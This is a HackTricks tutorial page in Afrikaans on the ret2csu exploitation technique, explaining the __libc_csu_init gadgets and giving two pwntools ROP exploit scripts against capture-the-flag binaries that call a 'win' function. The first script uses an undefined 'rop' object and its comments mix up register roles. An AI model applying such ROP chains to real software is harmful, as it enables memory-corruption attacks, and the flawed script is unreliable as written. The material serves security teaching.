Ret2csu

Reading time: 7 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfBasiese Inligting

ret2csu is 'n hacking tegniek wat gebruik word wanneer jy probeer om beheer oor 'n program te neem, maar nie die gadgets kan vind wat jy gewoonlik gebruik om die program se gedrag te manipuleer nie.

Wanneer 'n program sekere biblioteke (soos libc) gebruik, het dit 'n paar ingeboude funksies om te bestuur hoe verskillende stukke van die program met mekaar kommunikeer. Onder hierdie funksies is daar 'n paar verborge juwele wat as ons ontbrekende gadgets kan optree, veral een genaamd __libc_csu_init.

Die Magiese Gadgets in __libc_csu_init

In __libc_csu_init is daar twee reekse instruksies (gadgets) om te beklemtoon:

  1. Die eerste reeks laat ons toe om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Hierdie is soos slots waar ons nommers of adresse kan stoor wat ons later wil gebruik.
armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Hierdie toestel laat ons toe om hierdie registers te beheer deur waardes van die stapel in hulle te pop.

  1. Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:
  • Beweeg spesifieke waardes in ander registers, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
  • Voer 'n oproep na 'n ligging uit wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Miskien weet jy nie van enige adres om daar te skryf nie en jy het 'n ret instruksie nodig. Let daarop dat die tweede gadget ook sal eindig in 'n ret, maar jy sal aan sekere voorwaardes moet voldoen om dit te bereik:
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Die voorwaardes sal wees:

  • [r12 + rbx*8] moet na 'n adres wys wat 'n aanroepbare funksie stoor (as daar geen idee en geen pie is nie, kan jy net die _init funksie gebruik):
  • As _init by 0x400560 is, gebruik GEF om 'n wys na 'n pointer in geheue daarna te soek en maak [r12 + rbx*8] die adres met die pointer na _init:
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
  • rbp en rbx moet die selfde waarde hê om die sprong te vermy
  • Daar is 'n paar weggelate pops wat jy in ag moet neem

RDI en RSI

Nog 'n manier om rdi en rsi vanaf die ret2csu gadget te beheer, is deur toegang te verkry tot spesifieke offsets:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Kyk na hierdie bladsy vir meer inligting:

BROP - Blind Return Oriented Programming

Voorbeeld

Gebruik die oproep

Stel jou voor jy wil 'n syscall maak of 'n funksie soos write() aanroep, maar jy het spesifieke waardes in die rdx en rsi registers as parameters nodig. Normaalweg sou jy soek na gadgets wat hierdie registers direk stel, maar jy kan nie enige vind nie.

Hier kom ret2csu in die spel:

  1. Stel die Registers Op: Gebruik die eerste magiese gadget om waardes van die stapel af te pop en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
  2. Gebruik die Tweede Gadget: Met daardie registers ingestel, gebruik jy die tweede gadget. Dit laat jou toe om jou gekose waardes in rdx en rsi (van r14 en r13, onderskeidelik) te beweeg, wat die parameters vir 'n funksie-aanroep voorberei. Boonop, deur r15 en rbx te beheer, kan jy die program dwing om 'n funksie aan te roep wat geleë is by die adres wat jy bereken en in [r15 + rbx*8] plaas.

Jy het 'n voorbeeld wat hierdie tegniek gebruik en dit hier verduidelik, en dit is die finale uitbuiting wat dit gebruik het:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

warning

Let daarop dat die vorige exploit nie bedoel is om 'n RCE te doen nie, dit is bedoel om net 'n funksie genaamd win aan te roep (wat die adres van win van stdin wat gets in die ROP-ketting aanroep en dit in r15 stoor) met 'n derde argument met die waarde 0xdeadbeefcafed00d.

Om die oproep te omseil en ret te bereik

Die volgende exploit is onttrek van hierdie bladsy waar die ret2csu gebruik word, maar in plaas daarvan om die oproep te gebruik, is dit die vergelykings te omseil en die ret te bereik na die oproep:

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Hoekom Nie Net Libc Direk Gebruik Nie?

Gewoonlik is hierdie gevalle ook kwesbaar vir ret2plt + ret2lib, maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die write() funksie vereis drie parameters, en om gadgets te vind om al hierdie direk in te stel mag nie moontlik wees nie.

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks